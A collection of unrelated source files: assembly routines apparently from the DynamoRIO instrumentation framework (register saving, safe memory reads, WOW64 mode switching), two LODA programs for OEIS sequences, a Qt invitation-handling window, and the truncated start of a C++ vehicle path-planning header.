/* void get_segments_cs_ss(cxt_seg_t *cs, cxt_seg_t *ss) */ DECLARE_FUNC(get_segments_cs_ss) GLOBAL_LABEL(get_segments_cs_ss:) xor eax, eax /* Zero XAX, use it for reading segments. */ mov FREE_REG, ARG1 mov ax, cs mov [FREE_REG], REG_XAX_SEGWIDTH mov FREE_REG, ARG2 mov ax, ss mov [FREE_REG], REG_XAX_SEGWIDTH ret END_FUNC(get_segments_cs_ss) #undef FREE_REG #undef REG_XAX_SEGWIDTH /* void get_own_context_helper(CONTEXT *cxt) * does not fix up xsp to match the call site * does not preserve callee-saved registers */ DECLARE_FUNC(get_own_context_helper) GLOBAL_LABEL(get_own_context_helper:) /* push callee-saved registers that we use only */ push REG_XBX push REG_XSI push REG_XDI #ifdef X64 /* w/ retaddr, we're now at 16-byte alignment */ /* save argument register (PUSH_PRIV_MCXT calls out to c code) */ mov REG_XDI, ARG1 #endif /* grab exec state and pass as param in a priv_mcontext_t struct */ /* use retaddr for pc */ PUSH_PRIV_MCXT([(3 * ARG_SZ) + REG_XSP - PUSH_PRIV_MCXT_PRE_PC_SHIFT]) /* we don't have enough registers to avoid parameter regs so we carefully * use the suggested register order */ lea REG_XSI, [REG_XSP] /* stack grew down, so priv_mcontext_t at tos */ #ifdef X64 mov REG_XAX, REG_XDI #else /* 4 * arg_sz = 3 callee saved registers pushed to stack plus return addr */ mov REG_XAX, [PRIV_MCXT_SIZE + (4 * ARG_SZ) + REG_XSP] #endif xor edi, edi mov di, ss xor ebx, ebx mov bx, cs CALLC4(GLOBAL_REF(get_own_context_integer_control), REG_XAX, REG_XBX, REG_XDI, REG_XSI) add REG_XSP, PRIV_MCXT_SIZE pop REG_XDI pop REG_XSI pop REG_XBX ret END_FUNC(get_own_context_helper) #endif /* WINDOWS */ /* void get_xmm_caller_saved(byte *xmm_caller_saved_buf) * stores the values of xmm0 through xmm5 consecutively into xmm_caller_saved_buf. * xmm_caller_saved_buf need not be 16-byte aligned. * for linux, also saves xmm6-15 (PR 302107). * caller must ensure that the underlying processor supports SSE! * FIXME PR 266305: AMD optimization guide says to use movlps+movhps for unaligned * stores, instead of movups (movups is best for loads): but for * simplicity I'm sticking with movups (assumed not perf-critical here). */ DECLARE_FUNC(get_xmm_caller_saved) GLOBAL_LABEL(get_xmm_caller_saved:) mov REG_XAX, ARG1 movups [REG_XAX + 0*MCXT_SIMD_SLOT_SIZE], xmm0 movups [REG_XAX + 1*MCXT_SIMD_SLOT_SIZE], xmm1 movups [REG_XAX + 2*MCXT_SIMD_SLOT_SIZE], xmm2 movups [REG_XAX + 3*MCXT_SIMD_SLOT_SIZE], xmm3 movups [REG_XAX + 4*MCXT_SIMD_SLOT_SIZE], xmm4 movups [REG_XAX + 5*MCXT_SIMD_SLOT_SIZE], xmm5 #ifdef UNIX movups [REG_XAX + 6*MCXT_SIMD_SLOT_SIZE], xmm6 movups [REG_XAX + 7*MCXT_SIMD_SLOT_SIZE], xmm7 #endif #if defined(UNIX) && defined(X64) movups [REG_XAX + 8*MCXT_SIMD_SLOT_SIZE], xmm8 movups [REG_XAX + 9*MCXT_SIMD_SLOT_SIZE], xmm9 movups [REG_XAX + 10*MCXT_SIMD_SLOT_SIZE], xmm10 movups [REG_XAX + 11*MCXT_SIMD_SLOT_SIZE], xmm11 movups [REG_XAX + 12*MCXT_SIMD_SLOT_SIZE], xmm12 movups [REG_XAX + 13*MCXT_SIMD_SLOT_SIZE], xmm13 movups [REG_XAX + 14*MCXT_SIMD_SLOT_SIZE], xmm14 movups [REG_XAX + 15*MCXT_SIMD_SLOT_SIZE], xmm15 #endif ret END_FUNC(get_xmm_caller_saved) /* void get_ymm_caller_saved(byte *ymm_caller_saved_buf) * stores the values of ymm0 through ymm5 consecutively into ymm_caller_saved_buf. * ymm_caller_saved_buf need not be 32-byte aligned. * for linux, also saves ymm6-15 (PR 302107). * The caller must ensure that the underlying processor supports AVX! */ DECLARE_FUNC(get_ymm_caller_saved) GLOBAL_LABEL(get_ymm_caller_saved:) mov REG_XAX, ARG1 /* i#441: Some compilers need one of the architectural flags set (e.g. -mavx or * -march=skylake-avx512), which would cause DynamoRIO to be less (or un-) * portable or cause frequency scaling (i#3169). We just put in the raw bytes * for these instrs: * Note the 64/32 bit have the same encoding for either rax or eax. * c5 fe 7f 00 vmovdqu %ymm0,0x00(%xax) * c5 fe 7f 48 40 vmovdqu %ymm1,0x40(%xax) * c5 fe 7f 90 80 00 00 00 vmovdqu %ymm2,0x80(%xax) * c5 fe 7f 98 c0 00 00 00 vmovdqu %ymm3,0xc0(%xax) * c5 fe 7f a0 00 01 00 00 vmovdqu %ymm4,0x100(%xax) * c5 fe 7f a8 40 01 00 00 vmovdqu %ymm5,0x140(%xax) */ RAW(c5) RAW(fe) RAW(7f) RAW(00) RAW(c5) RAW(fe) RAW(7f) RAW(48) RAW(40) RAW(c5) RAW(fe) RAW(7f) RAW(90) RAW(80) RAW(00) RAW(00) RAW(00) RAW(c5) RAW(fe) RAW(7f) RAW(98) RAW(c0) RAW(00) RAW(00) RAW(00) RAW(c5) RAW(fe) RAW(7f) RAW(a0) RAW(00) RAW(01) RAW(00) RAW(00) RAW(c5) RAW(fe) RAW(7f) RAW(a8) RAW(40) RAW(01) RAW(00) RAW(00) #ifdef UNIX /* * c5 fe 7f b0 80 01 00 00 vmovdqu %ymm6,0x180(%xax) * c5 fe 7f b8 c0 01 00 00 vmovdqu %ymm7,0x1c0(%xax) */ RAW(c5) RAW(fe) RAW(7f) RAW(b0) RAW(80) RAW(01) RAW(00) RAW(00) RAW(c5) RAW(fe) RAW(7f) RAW(b8) RAW(c0) RAW(01) RAW(00) RAW(00) # ifdef X64 /* * c5 7e 7f 80 00 02 00 00 vmovdqu %ymm8,0x200(%xax) * c5 7e 7f 88 40 02 00 00 vmovdqu %ymm9,0x240(%xax) * c5 7e 7f 90 80 02 00 00 vmovdqu %ymm10,0x280(%xax) * c5 7e 7f 98 c0 02 00 00 vmovdqu %ymm11,0x2c0(%xax) * c5 7e 7f a0 00 03 00 00 vmovdqu %ymm12,0x300(%xax) * c5 7e 7f a8 40 03 00 00 vmovdqu %ymm13,0x340(%xax) * c5 7e 7f b0 80 03 00 00 vmovdqu %ymm14,0x380(%xax) * c5 7e 7f b8 c0 03 00 00 vmovdqu %ymm15,0x3c0(%xax) */ RAW(c5) RAW(7e) RAW(7f) RAW(80) RAW(00) RAW(02) RAW(00) RAW(00) RAW(c5) RAW(7e) RAW(7f) RAW(88) RAW(40) RAW(02) RAW(00) RAW(00) RAW(c5) RAW(7e) RAW(7f) RAW(90) RAW(80) RAW(02) RAW(00) RAW(00) RAW(c5) RAW(7e) RAW(7f) RAW(98) RAW(c0) RAW(02) RAW(00) RAW(00) RAW(c5) RAW(7e) RAW(7f) RAW(a0) RAW(00) RAW(03) RAW(00) RAW(00) RAW(c5) RAW(7e) RAW(7f) RAW(a8) RAW(40) RAW(03) RAW(00) RAW(00) RAW(c5) RAW(7e) RAW(7f) RAW(b0) RAW(80) RAW(03) RAW(00) RAW(00) RAW(c5) RAW(7e) RAW(7f) RAW(b8) RAW(c0) RAW(03) RAW(00) RAW(00) # endif #endif ret END_FUNC(get_ymm_caller_saved) /* void get_zmm_caller_saved(byte *zmm_caller_saved_buf) * stores the values of zmm0 through zmm31 consecutively into zmm_caller_saved_buf. * zmm_caller_saved_buf need not be 64-byte aligned. * The caller must ensure that the underlying processor supports AVX-512! */ DECLARE_FUNC(get_zmm_caller_saved) GLOBAL_LABEL(get_zmm_caller_saved:) mov REG_XAX, ARG1 /* i#441: Some compilers need one of the architectural flags set (e.g. -mavx or * -march=skylake-avx512), which would cause DynamoRIO to be less (or un-) * portable or cause frequency scaling (i#3169). We just put in the raw bytes * for these instrs: * Note the 64/32 bit have the same encoding for either rax or eax. * Note the encodings are using the EVEX scaled compressed displacement form. * 62 f1 fe 48 7f 00 vmovdqu64 %zmm0,0x00(%xax) * 62 f1 fe 48 7f 48 01 vmovdqu64 %zmm1,0x40(%xax) * 62 f1 fe 48 7f 50 02 vmovdqu64 %zmm2,0x80(%xax) * 62 f1 fe 48 7f 58 03 vmovdqu64 %zmm3,0xc0(%xax) * 62 f1 fe 48 7f 60 04 vmovdqu64 %zmm4,0x100(%xax) * 62 f1 fe 48 7f 68 05 vmovdqu64 %zmm5,0x140(%xax) * 62 f1 fe 48 7f 70 06 vmovdqu64 %zmm6,0x180(%xax) * 62 f1 fe 48 7f 78 07 vmovdqu64 %zmm7,0x1c0(%xax) */ RAW(62) RAW(f1) RAW(fe) RAW(48) RAW(7f) RAW(00) RAW(62) RAW(f1) RAW(fe) RAW(48) RAW(7f) RAW(48) RAW(01) RAW(62) RAW(f1) RAW(fe) RAW(48) RAW(7f) RAW(50) RAW(02) RAW(62) RAW(f1) RAW(fe) RAW(48) RAW(7f) RAW(58) RAW(03) RAW(62) RAW(f1) RAW(fe) RAW(48) RAW(7f) RAW(60) RAW(04) RAW(62) RAW(f1) RAW(fe) RAW(48) RAW(7f) RAW(68) RAW(05) RAW(62) RAW(f1) RAW(fe) RAW(48) RAW(7f) RAW(70) RAW(06) RAW(62) RAW(f1) RAW(fe) RAW(48) RAW(7f) RAW(78) RAW(07) #ifdef X64 /* 62 71 fe 48 7f 40 08 vmovdqu64 %zmm8,0x200(%xax) * 62 71 fe 48 7f 48 09 vmovdqu64 %zmm9,0x240(%xax) * 62 71 fe 48 7f 50 0a vmovdqu64 %zmm10,0x280(%xax) * 62 71 fe 48 7f 58 0b vmovdqu64 %zmm11,0x2c0(%xax) * 62 71 fe 48 7f 60 0c vmovdqu64 %zmm12,0x300(%xax) * 62 71 fe 48 7f 68 0d vmovdqu64 %zmm13,0x340(%xax) * 62 71 fe 48 7f 70 0e vmovdqu64 %zmm14,0x380(%xax) * 62 71 fe 48 7f 78 0f vmovdqu64 %zmm15,0x3c0(%xax) * 62 e1 fe 48 7f 40 10 vmovdqu64 %zmm16,0x400(%xax) * 62 e1 fe 48 7f 48 11 vmovdqu64 %zmm17,0x440(%xax) * 62 e1 fe 48 7f 50 12 vmovdqu64 %zmm18,0x480(%xax) * 62 e1 fe 48 7f 58 13 vmovdqu64 %zmm19,0x4c0(%xax) * 62 e1 fe 48 7f 60 14 vmovdqu64 %zmm20,0x500(%xax) * 62 e1 fe 48 7f 68 15 vmovdqu64 %zmm21,0x540(%xax) * 62 e1 fe 48 7f 70 16 vmovdqu64 %zmm22,0x580(%xax) * 62 e1 fe 48 7f 78 17 vmovdqu64 %zmm23,0x5c0(%xax) * 62 61 fe 48 7f 40 18 vmovdqu64 %zmm24,0x600(%xax) * 62 61 fe 48 7f 48 19 vmovdqu64 %zmm25,0x640(%xax) * 62 61 fe 48 7f 50 1a vmovdqu64 %zmm26,0x680(%xax) * 62 61 fe 48 7f 58 1b vmovdqu64 %zmm27,0x6c0(%xax) * 62 61 fe 48 7f 60 1c vmovdqu64 %zmm28,0x700(%xax) * 62 61 fe 48 7f 68 1d vmovdqu64 %zmm29,0x740(%xax) * 62 61 fe 48 7f 70 1e vmovdqu64 %zmm30,0x780(%xax) * 62 61 fe 48 7f 78 1f vmovdqu64 %zmm31,0x7c0(%xax) */ RAW(62) RAW(71) RAW(fe) RAW(48) RAW(7f) RAW(40) RAW(08) RAW(62) RAW(71) RAW(fe) RAW(48) RAW(7f) RAW(48) RAW(09) RAW(62) RAW(71) RAW(fe) RAW(48) RAW(7f) RAW(50) RAW(0a) RAW(62) RAW(71) RAW(fe) RAW(48) RAW(7f) RAW(58) RAW(0b) RAW(62) RAW(71) RAW(fe) RAW(48) RAW(7f) RAW(60) RAW(0c) RAW(62) RAW(71) RAW(fe) RAW(48) RAW(7f) RAW(68) RAW(0d) RAW(62) RAW(71) RAW(fe) RAW(48) RAW(7f) RAW(70) RAW(0e) RAW(62) RAW(71) RAW(fe) RAW(48) RAW(7f) RAW(78) RAW(0f) RAW(62) RAW(e1) RAW(fe) RAW(48) RAW(7f) RAW(40) RAW(10) RAW(62) RAW(e1) RAW(fe) RAW(48) RAW(7f) RAW(48) RAW(11) RAW(62) RAW(e1) RAW(fe) RAW(48) RAW(7f) RAW(50) RAW(12) RAW(62) RAW(e1) RAW(fe) RAW(48) RAW(7f) RAW(58) RAW(13) RAW(62) RAW(e1) RAW(fe) RAW(48) RAW(7f) RAW(60) RAW(14) RAW(62) RAW(e1) RAW(fe) RAW(48) RAW(7f) RAW(68) RAW(15) RAW(62) RAW(e1) RAW(fe) RAW(48) RAW(7f) RAW(70) RAW(16) RAW(62) RAW(e1) RAW(fe) RAW(48) RAW(7f) RAW(78) RAW(17) RAW(62) RAW(61) RAW(fe) RAW(48) RAW(7f) RAW(40) RAW(18) RAW(62) RAW(61) RAW(fe) RAW(48) RAW(7f) RAW(48) RAW(19) RAW(62) RAW(61) RAW(fe) RAW(48) RAW(7f) RAW(50) RAW(1a) RAW(62) RAW(61) RAW(fe) RAW(48) RAW(7f) RAW(58) RAW(1b) RAW(62) RAW(61) RAW(fe) RAW(48) RAW(7f) RAW(60) RAW(1c) RAW(62) RAW(61) RAW(fe) RAW(48) RAW(7f) RAW(68) RAW(1d) RAW(62) RAW(61) RAW(fe) RAW(48) RAW(7f) RAW(70) RAW(1e) RAW(62) RAW(61) RAW(fe) RAW(48) RAW(7f) RAW(78) RAW(1f) #endif ret END_FUNC(get_zmm_caller_saved) /* void get_opmask_caller_saved(byte *opmask_caller_saved_buf) * stores the values of k0 through k7 consecutively in 8 byte slots each into * opmask_caller_saved_buf. opmask_caller_saved_buf need not be 8-byte aligned. * The caller must ensure that the underlying processor supports AVX-512. */ DECLARE_FUNC(get_opmask_caller_saved) GLOBAL_LABEL(get_opmask_caller_saved:) mov REG_XAX, ARG1 /* * c5 f8 91 00 kmovw %k0,(%rax) * c5 f8 91 48 08 kmovw %k1,0x8(%rax) * c5 f8 91 50 10 kmovw %k2,0x10(%rax) * c5 f8 91 58 18 kmovw %k3,0x18(%rax) * c5 f8 91 60 20 kmovw %k4,0x20(%rax) * c5 f8 91 68 28 kmovw %k5,0x28(%rax) * c5 f8 91 70 30 kmovw %k6,0x30(%rax) * c5 f8 91 78 38 kmovw %k7,0x38(%rax) */ RAW(c5) RAW(f8) RAW(91) RAW(00) RAW(c5) RAW(f8) RAW(91) RAW(48) RAW(08) RAW(c5) RAW(f8) RAW(91) RAW(50) RAW(10) RAW(c5) RAW(f8) RAW(91) RAW(58) RAW(18) RAW(c5) RAW(f8) RAW(91) RAW(60) RAW(20) RAW(c5) RAW(f8) RAW(91) RAW(68) RAW(28) RAW(c5) RAW(f8) RAW(91) RAW(70) RAW(30) RAW(c5) RAW(f8) RAW(91) RAW(78) RAW(38) ret END_FUNC(get_opmask_caller_saved) /* void hashlookup_null_handler(void) * PR 305731: if the app targets NULL, it ends up here, which indirects * through hashlookup_null_target to end up in an ibl miss routine. */ DECLARE_FUNC(hashlookup_null_handler) GLOBAL_LABEL(hashlookup_null_handler:) #if !defined(X64) && defined(LINUX) /* We don't have any free registers to make this PIC so we patch * this up. It would be better to generate than patch .text, * but we need a static address to reference in null_fragment * (though if we used shared ibl target_delete we could * set our final address prior to using null_fragment anywhere). */ jmp .+130 /* force long jump for patching: i#1895 */ #else jmp PTRSZ SYMREF(hashlookup_null_target) /* rip-relative on x64 */ #endif END_FUNC(hashlookup_null_handler) /* Declare these labels global so we can take their addresses in C. pre, mid, * and post are defined by REP_STRING_OP(). */ DECLARE_GLOBAL(safe_read_asm_pre) DECLARE_GLOBAL(safe_read_asm_mid) DECLARE_GLOBAL(safe_read_asm_post) DECLARE_GLOBAL(safe_read_asm_recover) /* i#350: We implement safe_read in assembly and save the PCs that can fault. * If these PCs fault, we return from the signal handler to the epilog, which * can recover. We return the source pointer from XSI, and the caller uses this * to determine how many bytes were copied and whether it matches size. * * XXX: Do we care about differentiating whether the read or write faulted? * Currently this is just "safe_memcpy", and we recover regardless of whether * the read or write faulted. * * void * * safe_read_asm(void *dst, const void *src, size_t n); */ DECLARE_FUNC(safe_read_asm) GLOBAL_LABEL(safe_read_asm:) ARGS_TO_XDI_XSI_XDX() /* dst=xdi, src=xsi, n=xdx */ /* Copy xdx bytes, align on src. */ REP_STRING_OP(safe_read_asm, REG_XSI, movs) ADDRTAKEN_LABEL(safe_read_asm_recover:) mov REG_XAX, REG_XSI /* Return cur_src */ RESTORE_XDI_XSI() ret END_FUNC(safe_read_asm) #ifdef UNIX DECLARE_GLOBAL(safe_read_tls_magic) DECLARE_GLOBAL(safe_read_tls_magic_recover) DECLARE_GLOBAL(safe_read_tls_self) DECLARE_GLOBAL(safe_read_tls_self_recover) DECLARE_GLOBAL(safe_read_tls_app_self) DECLARE_GLOBAL(safe_read_tls_app_self_recover) DECLARE_FUNC(safe_read_tls_magic) GLOBAL_LABEL(safe_read_tls_magic:) /* gas won't accept "SEG_TLS:" in the memref so we have to fool it by * using it as a prefix: */ SEG_TLS mov eax, DWORD [TLS_MAGIC_OFFSET_ASM] ADDRTAKEN_LABEL(safe_read_tls_magic_recover:) /* our signal handler sets xax to 0 for us on a fault */ ret END_FUNC(safe_read_tls_magic) DECLARE_FUNC(safe_read_tls_self) GLOBAL_LABEL(safe_read_tls_self:) /* see comment in safe_read_tls_magic */ SEG_TLS mov REG_XAX, PTRSZ [TLS_SELF_OFFSET_ASM] ADDRTAKEN_LABEL(safe_read_tls_self_recover:) /* our signal handler sets xax to 0 for us on a fault */ ret END_FUNC(safe_read_tls_self) DECLARE_FUNC(safe_read_tls_app_self) GLOBAL_LABEL(safe_read_tls_app_self:) /* see comment in safe_read_tls_magic */ LIB_SEG_TLS mov REG_XAX, PTRSZ [TLS_APP_SELF_OFFSET_ASM] ADDRTAKEN_LABEL(safe_read_tls_app_self_recover:) /* our signal handler sets xax to 0 for us on a fault */ ret END_FUNC(safe_read_tls_app_self) #endif #ifdef UNIX /* Replacement for _dl_runtime_resolve() used for catching module transitions * out of native modules. */ DECLARE_FUNC(_dynamorio_runtime_resolve) GLOBAL_LABEL(_dynamorio_runtime_resolve:) # ifdef X64 /* Preserve all 6 argument registers and rax (num fp reg args). */ push rax push rdi push rsi push rdx push rcx push r8 push r9 /* Should be 16-byte aligned now: retaddr, 2 args, 7 regs. */ mov rdi, [rsp + 7 * ARG_SZ] /* link map */ mov rsi, [rsp + 8 * ARG_SZ] /* .dynamic index */ CALLC0(GLOBAL_REF(dynamorio_dl_fixup)) mov r11, rax /* preserve */ pop r9 pop r8 pop rcx pop rdx pop rsi pop rdi pop rax add rsp, 16 /* clear args */ jmp r11 /* Jump to resolved PC, or into DR. */ # else /* !X64 */ push REG_XAX push REG_XCX mov REG_XAX, [REG_XSP + 2 * ARG_SZ] /* link map */ mov REG_XCX, [REG_XSP + 3 * ARG_SZ] /* .dynamic index */ # ifdef MACOS lea REG_XSP, [-1*ARG_SZ + REG_XSP] /* maintain align-16: ra + push x2 */ # endif CALLC2(GLOBAL_REF(dynamorio_dl_fixup), REG_XAX, REG_XCX) # ifdef MACOS lea REG_XSP, [1*ARG_SZ + REG_XSP] /* maintain align-16: ra + push x2 */ # endif mov [REG_XSP + 2 * ARG_SZ], REG_XAX /* overwrite arg1 */ pop REG_XCX pop REG_XAX ret 4 /* ret to target, pop arg2 */ # endif /* !X64 */ END_FUNC(_dynamorio_runtime_resolve) #endif /* UNIX */ /***************************************************************************/ #if defined(WINDOWS) && !defined(X64) /* Routines to switch to 64-bit mode from 32-bit WOW64, make a 64-bit * call, and then return to 32-bit mode. */ /* Some now live in x86_shared.asm */ /* * DR_API ptr_int_t * dr_invoke_x64_routine(dr_auxlib64_routine_ptr_t func64, uint num_params, ...) */ # undef FUNCNAME # define FUNCNAME dr_invoke_x64_routine DECLARE_EXPORTED_FUNC(FUNCNAME) GLOBAL_LABEL(FUNCNAME:) /* This is 32-bit so we just need the stack ptr to locate all the args */ mov eax, esp /* save callee-saved registers */ push ebx /* far jmp to next instr w/ 64-bit switch: jmp 0033:<inv64_transfer_to_64> */ RAW(ea) DD offset inv64_transfer_to_64 DB CS64_SELECTOR RAW(00) inv64_transfer_to_64: /* Below here is executed in 64-bit mode, but with guarantees that * no address is above 4GB, as this is a WOW64 process. */ /* Save WOW64 state. * FIXME: if the x64 code makes any callbacks, not only do we need * a wrapper to go back to x86 mode but we need to restore these * values in case the x86 callback invokes any syscalls! * Really messy and fragile. */ RAW(41) push esp /* push r12 */ RAW(41) push ebp /* push r13 */ RAW(41) push esi /* push r14 */ RAW(41) push edi /* push r15 */ /* align the stack pointer */ mov ebx, esp /* save esp in callee-preserved reg */ sub esp, 32 /* call conv */ mov ecx, dword ptr [12 + eax] /* #args (func64 takes two slots) */ sub ecx, 4 jle inv64_arg_copy_done shl ecx, 3 /* (#args-4)*8 */ sub esp, ecx /* slots for args */ and esp, HEX(fffffff0) /* align to 16-byte boundary */ /* copy the args to their stack slots (simpler to copy the 1st 4 too) */ mov ecx, dword ptr [12 + eax] /* #args */ cmp ecx, 0 je inv64_arg_copy_done inv64_arg_copy_loop: mov edx, dword ptr [12 + 4*ecx + eax] /* ecx = 1-based arg ordinal */ /* FIXME: sign-extension is not always what the user wants. * But the only general way to solve it would be to take in type codes * for each arg! */ RAW(48) RAW(63) RAW(d2) /* movsxd rdx, edx (sign-extend) */ RAW(48) /* qword ptr */ mov dword ptr [-8 + 8*ecx + esp], edx sub ecx, 1 /* we can't use "dec" as it will be encoded wrong! */ jnz inv64_arg_copy_loop inv64_arg_copy_done: /* put the 1st 4 args into their reg slots */ mov ecx, dword ptr [12 + eax] /* #args */ cmp ecx, 4 jl inv64_arg_lt4 mov edx, dword ptr [12 + 4*4 + eax] /* 1-based arg ordinal */ RAW(4c) RAW(63) RAW(ca) /* movsxd r9, edx */ inv64_arg_lt4: cmp ecx, 3 jl inv64_arg_lt3 mov edx, dword ptr [12 + 4*3 + eax] /* 1-based arg ordinal */ RAW(4c) RAW(63) RAW(c2) /* movsxd r8, edx */ inv64_arg_lt3: cmp ecx, 2 jl inv64_arg_lt2 mov edx, dword ptr [12 + 4*2 + eax] /* 1-based arg ordinal */ RAW(48) RAW(63) RAW(d2) /* movsxd rdx, edx (sign-extend) */ inv64_arg_lt2: cmp ecx, 1 jl inv64_arg_lt1 mov ecx, dword ptr [12 + 4*1 + eax] /* 1-based arg ordinal */ RAW(48) RAW(63) RAW(c9) /* movsxd rcx, ecx (sign-extend) */ inv64_arg_lt1: /* make the call */ RAW(48) /* qword ptr */ mov eax, dword ptr [4 + eax] /* func64 */ RAW(48) call eax /* get top 32 bits of return value into edx for 64-bit x86 return value */ RAW(48) mov edx, eax RAW(48) shr edx, 32 mov esp, ebx /* restore esp */ /* restore WOW64 state */ RAW(41) pop edi /* pop r15 */ RAW(41) pop esi /* pop r14 */ RAW(41) pop ebp /* pop r13 */ RAW(41) pop esp /* pop r12 */ /* far jmp to next instr w/ 32-bit switch: jmp 0023:<inv64_return_to_32> */ push offset inv64_return_to_32 /* 8-byte push */ mov dword ptr [esp + 4], CS32_SELECTOR /* top 4 bytes of prev push */ jmp fword ptr [esp] inv64_return_to_32: add esp, 8 /* clean up far jmp target */ pop ebx /* restore callee-saved reg */ ret /* return value in edx:eax */ END_FUNC(FUNCNAME) #endif /* defined(WINDOWS) && !defined(X64) */ /***************************************************************************/ #ifdef WINDOWS /* void dynamorio_earliest_init_takeover(void) * * Called from hook code for earliest injection. * Since we want to resume at the hooked app code as though nothing * happened w/o going first to hooking code to restore regs, caller * passed us args pointed at by xax. We then preserve regs and call * C code. C code takes over when it returns to use. We restore * regs and return to app code. * Executes on app stack but we assume app stack is fine at this point. */ DECLARE_EXPORTED_FUNC(dynamorio_earliest_init_takeover) GLOBAL_LABEL(dynamorio_earliest_init_takeover:) PUSHGPR # ifdef EARLIEST_INIT_DEBUGBREAK /* giant loop so can attach debugger, then change ebx to 1 * to step through rest of code */ mov ebx, HEX(7fffffff) dynamorio_earliest_init_repeat_outer: mov esi, HEX(7fffffff) dynamorio_earliest_init_repeatme: dec esi cmp esi, 0 jg dynamorio_earliest_init_repeatme dec ebx cmp ebx, 0 jg dynamorio_earliest_init_repeat_outer # endif /* args are pointed at by xax */ CALLC1(GLOBAL_REF(dynamorio_earliest_init_takeover_C), REG_XAX) /* we will either be under DR control or running natively at this point */ /* restore */ POPGPR ret END_FUNC(dynamorio_earliest_init_takeover) #endif /* WINDOWS */ END_FILE
; A154879: Third differences of the Jacobsthal sequence A001045. ; 3,-2,4,0,8,8,24,40,88,168,344,680,1368,2728,5464,10920,21848,43688,87384,174760,349528,699048,1398104,2796200,5592408,11184808,22369624,44739240,89478488,178956968,357913944,715827880,1431655768,2863311528,5726623064,11453246120,22906492248,45812984488,91625968984,183251937960,366503875928,733007751848,1466015503704,2932031007400,5864062014808,11728124029608,23456248059224,46912496118440,93824992236888,187649984473768,375299968947544,750599937895080,1501199875790168,3002399751580328,6004799503160664 mov $2,2 pow $2,$0 mod $0,2 sub $0,1 mov $3,$2 sub $3,4 mov $1,$3 mov $4,$2 mov $5,$2 mov $2,-1 mov $3,$0 lpb $0,1 sub $3,$0 div $0,$2 add $0,1 add $5,8 add $5,$4 add $5,18 mov $1,$5 div $1,$0 mul $0,$3 lpe sub $1,4 div $1,3
; A118360: Start with 1; repeatedly reverse the digits when the number is written in binary and add 2 to get the next term. ; 1,3,5,7,9,11,15,17,19,27,29,25,21,23,31,33,35,51,53,45,47,63,65,67,99,101,85,87,119,121,81,71,115,105,77,91,111,125,97,69,83,103,117,89,79,123,113,73,75,107,109,93,95,127,129,131,195,197,165,167,231 lpb $0 sub $0,1 add $1,1 seq $1,30101 ; a(n) is the number produced when n is converted to binary digits, the binary digits are reversed and then converted back into a decimal number. add $1,1 lpe add $1,1 mov $0,$1
#include "../includes/LesFenetres_QT.hpp" InvitationQT::InvitationQT(int id, MainWindow *parent, Client* cli): WindowQT(id, parent, client), item_clicked(nullptr){ page = new Ui::InvitationWidget; page->setupUi(this); signalMapper->setMapping(page->Return_From_InvitationsToolButton, MAIN_MENU_SCREEN); connect(page->Return_From_InvitationsToolButton, SIGNAL(clicked()), signalMapper, SLOT(map())); connect(page->list_AmisWidget, SIGNAL(itemDoubleClicked(QListWidgetItem*)), this, SLOT(handle_invit(QListWidgetItem*))); connect(page->Delete_InvitToolButton, SIGNAL(clicked()), this, SLOT(delete_invit())); connect(page->Accept_InvitToolButton, SIGNAL(clicked()), this, SLOT(accept_invit())); } void InvitationQT::initWindow(){ //parent->setStyleSheet("background-image: url(:/wallpaper/UI/Resources/cropped-1920-1080-521477.jpg);"); page->list_AmisWidget->clear(); page->Delete_InvitToolButton->setVisible(false); page->Accept_InvitToolButton->setVisible(false); std::string display_text; globalInvitations.mut.lock(); int len_tab = static_cast<int>(globalInvitations.invits.size()); globalInvitations.notif = false; for (int i = 0; i < len_tab; i++) { if (globalInvitations.invits[static_cast<unsigned int>(i)].type == true ) { display_text = "Invitation jeu de : " + globalInvitations.invits[static_cast<unsigned int>(i)].text; page->list_AmisWidget->addItem(QString(display_text.c_str())); } if (globalInvitations.invits[static_cast<unsigned int>(i)].type == false ) { display_text = "Demande d'ami de : " + globalInvitations.invits[static_cast<unsigned int>(i)].text; page->list_AmisWidget->addItem(QString(display_text.c_str())); } } globalInvitations.mut.unlock(); /* timer = new QTimer(this); connect(timer, &QTimer::timeout, this, &InvitationQT::update_invit); setTimerIntervalle(200);*/ } /*void InvitationQT::update_invit(){ std::string display_text; globalInvitations.mut.lock(); int len_tab = static_cast<int>(globalInvitations.invits.size()); globalInvitations.notif = false; for (int i = 0; i < len_tab; i++) { if (globalInvitations.invits[static_cast<unsigned int>(i)].type == true ) { display_text = "Invitation jeu de : " + globalInvitations.invits[static_cast<unsigned int>(i)].text; page->list_AmisWidget->addItem(QString(display_text.c_str())); } if (globalInvitations.invits[static_cast<unsigned int>(i)].type == false ) { display_text = "Demande d'ami de : " + globalInvitations.invits[static_cast<unsigned int>(i)].text; page->list_AmisWidget->addItem(QString(display_text.c_str())); } } globalInvitations.mut.unlock(); }*/ void InvitationQT::handle_invit(QListWidgetItem* item){ item_clicked = item; row_invit = page->list_AmisWidget->currentRow(); page->Delete_InvitToolButton->setVisible(true); page->Accept_InvitToolButton->setVisible(true); std::cout << row_invit <<std::endl; } void InvitationQT::delete_invit(){ std::cout <<item_clicked->text().toStdString()<<std::endl; client->acceptInvitation(row_invit, false); page->list_AmisWidget->takeItem(row_invit); page->Delete_InvitToolButton->setVisible(false); page->Accept_InvitToolButton->setVisible(false); } void InvitationQT::accept_invit(){ client->acceptInvitation(row_invit, true); page->list_AmisWidget->takeItem(row_invit); page->Delete_InvitToolButton->setVisible(false); page->Accept_InvitToolButton->setVisible(false); if (globalInvitations.invits[static_cast<unsigned int>(row_invit)].type == true){ parent->setPage(ROOM_INVITEE_SCREEN); } } InvitationQT::~InvitationQT(){ delete page; //if(item_clicked)delete item_clicked; }
/** * @file environment.hpp * @author Licheng Wen (wenlc@zju.edu.cn) * @brief Environment class header * @date 2020-11-12 * * @copyright Copyright (c) 2020 * */ #pragma once #include <ompl/base/State.h> #include <ompl/base/spaces/DubinsStateSpace.h> #include <ompl/base/spaces/ReedsSheppStateSpace.h> #include <ompl/base/spaces/SE2StateSpace.h> #include <boost/functional/hash.hpp> #include <boost/geometry.hpp> #include <boost/geometry/algorithms/intersection.hpp> #include <boost/geometry/geometries/linestring.hpp> #include <boost/geometry/geometries/point_xy.hpp> #include <boost/heap/fibonacci_heap.hpp> #include <unordered_map> #include <unordered_set> #include "neighbor.hpp" #include "planresult.hpp" namespace Constants { // [m] --- The minimum turning radius of the vehicle static float r = 3; static float deltat = 6.75 * 6 / 180.0 * M_PI; // [#] --- A movement cost penalty for turning (choosing non straight motion // primitives) static float penaltyTurning 